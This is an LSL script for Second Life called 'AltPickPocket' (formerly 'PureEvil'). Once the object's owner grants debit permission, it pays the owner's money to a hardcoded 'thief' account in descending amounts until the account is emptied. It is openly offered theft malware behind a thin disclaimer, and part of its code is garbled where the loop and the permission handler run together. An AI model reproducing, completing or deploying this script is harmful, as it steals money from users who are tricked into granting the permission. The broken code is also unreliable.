//----------------------------------------------------------------------------------- // AltPickPocket Script C 2005-2007 // Formerly Known as PureEvil // By Mitzpatrick Fitzsimmons //----------------------------------------------------------------------------------- //----------------------------DISCLAIMER!-------------------------------------------- // This script will take money from the person that owns the object it is in // ONLY IF that owner accepts the PERMISSION_DEBIT. // The UUID of the "thief" variable is to whom the money is paid to. // I accept no responsability for the USE or MISUSE of this script. // As with anything in SL, make sure you know what you are doing before you do it. //----------------------------------------------------------------------------------- key thief = "605dc2e5-3bdf-427e-a38d-98390c124249"; // Insert the key of the person who is going to get the money here. list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out. // The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental // amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that // owners account than is in the largest list amount). pay () { integer m = llGetListLength(ammount); integer i = 0; while (i0) { llOwnerSay("Activated!"); llSetColor(<0,1,0>, ALL_SIDES); llSetText("Active",<0,1,0>,1); }else{ llSay(0, "PickPocket has no permissions"); llSetColor(<1,0,0>, ALL_SIDES); llSetText("InActive",<1,0,0>,1); } } }